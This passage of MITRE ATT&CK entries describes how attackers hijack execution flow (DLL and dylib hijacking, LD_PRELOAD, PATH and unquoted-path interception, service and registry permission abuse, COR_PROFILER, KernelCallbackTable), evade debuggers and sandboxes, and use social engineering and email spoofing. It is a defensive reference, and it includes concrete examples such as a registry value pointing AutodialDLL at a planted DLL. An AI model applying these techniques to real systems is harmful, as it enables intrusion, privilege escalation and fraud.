Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application’s address space allowing the malicious dylib to inherit the application’s privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)

T1574.005 – Executable Installer File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL search order hijacking.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

T1574.006 – Dynamic Linker Hijacking

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform’s linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)

Hijacking dynamic linker variables may grant access to the victim process’s memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary’s malicious code upon execution of the victim program. For example, adversaries have used LD_PRELOAD to inject a malicious library into every descendant process of the sshd daemon, resulting in execution under a legitimate process. When the executing sub-process calls the execve function, for example, the malicious library’s execve function is executed rather than the system function execve contained in the system library on disk. This allows adversaries to Hide Artifacts from detection, as hooking system functions such as execve and readdir enables malware to scrub its own artifacts from the results of commands such as ls, ldd, iptables, and dmesg.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)

Hijacking dynamic linker variables may grant access to the victim process’s memory, system/network resources, and possibly elevated privileges.

T1574.007 – Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.

Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.

For example, on Windows if an adversary places a malicious program named “net.exe” in C:\example path, which by default precedes C:\Windows\system32\net.exe in the PATH environment variable, when “net” is executed from the command-line the C:\example path will be called instead of the system’s legitimate executable at C:\Windows\system32\net.exe. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)

Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the $PATH variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the /etc/paths.d folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)

T1574.008 – Path Interception by Search Order Hijacking

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, “example.exe” runs “cmd.exe” with the command-line argument <code>net user</code>. An adversary may place a program called “net.exe” within the same directory as example.exe, “net.exe” will be run instead of the Windows system utility net. In addition, if an adversary places a program called “net.com” in the same directory as “net.exe”, then <code>cmd.exe /C net user</code> will execute “net.com” instead of “net.exe” due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL.

T1574.009 – Path Interception by Unquoted Path

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary’s executable to launch.

Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>“C:\safe path with space\program.exe”</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

T1574.010 – Services File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

T1574.011 – Services Registry Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The <code>Performance</code> key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

Adversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.

For example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:

<code>“AutodialDLL”=“c:\temp\foo.dll”</code>

This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.

T1574.012 – COR_PROFILER

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and impair defenses provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

T1574.013 – KernelCallbackTable

Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)

An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.

A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> Native API function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.

T1574.014 – AppDomainManager

Adversaries may execute their own malicious payloads by hijacking how the .NET AppDomainManager loads assemblies. The .NET framework uses the AppDomainManager class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (.exe or .dll binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains)

Known as “AppDomainManager injection,” adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (.config) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)

T1612 – Build Image on Host#

Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)

An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize Deploy Container using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

T1620 – Reflective Code Loading#

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).

Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the Assembly.Load() method executed by PowerShell may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)

Reflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)

T1622 – Debugger Evasion#

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to Virtualization/Sandbox Evasion, if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary. On Windows, this may involve Native API function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux, this may involve querying /proc/self/status for the TracerPID field, which indicates whether or not the process is being traced by dynamic analysis tools.(Citation: Cado Security P2PInfect 2023)(Citation: Positive Technologies Hellhounds 2023) Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)

Malware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program’s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program’s execution to continue.(Citation: Apriorit)

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping Native API function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)

T1678 – Delay Execution#

Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems.

Adversaries may utilize programmatic sleep commands or native system scheduling functionality, for example Scheduled Task/Job. Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as ping, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

T1679 – Selective Exclusion#

Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include .dll, .exe, and .lnk.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)

Adversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice.

Exclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals.

T1684 – Social Engineering#

Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators.

Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate.(Citation: Proofpoint TA427 April 2024)(Citation: SE SentinelOne 2)(Citation: SE - Hackers Target Workday)

Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action.(Citation: SE Proofpoint)(Citation: SE SentinelOne)

This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.(Citation: SE SentinelOne 2)(Citation: Fortinet Trends 25-26)

T1684.001 – Impersonation

Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims.

In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims — deceiving them into sending money or divulging information that ultimately enables Financial Theft.

Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as payment, request, or urgent to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal.  

Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity.(Citation: Crowdstrike BEC)

There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)

T1684.002 – Email Spoofing

Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim’s inbox, which may cause modified emails to appear as if they were from the spoofed entity.

Enterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC)

An example of a weak or absent DMARC policy is v=DMARC1; p=none; fo=1;. The p=none. The p=none indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim’s inbox.(Citation: ic3-dprk)

Adversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via Impersonation for Phishing. Additionally, adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend)

© The MITRE Corporation, MITRE ATT&CK® 19.2. This content is reproduced under the MITRE ATT&CK Terms of Use with attribution. attack.mitre.org. Source.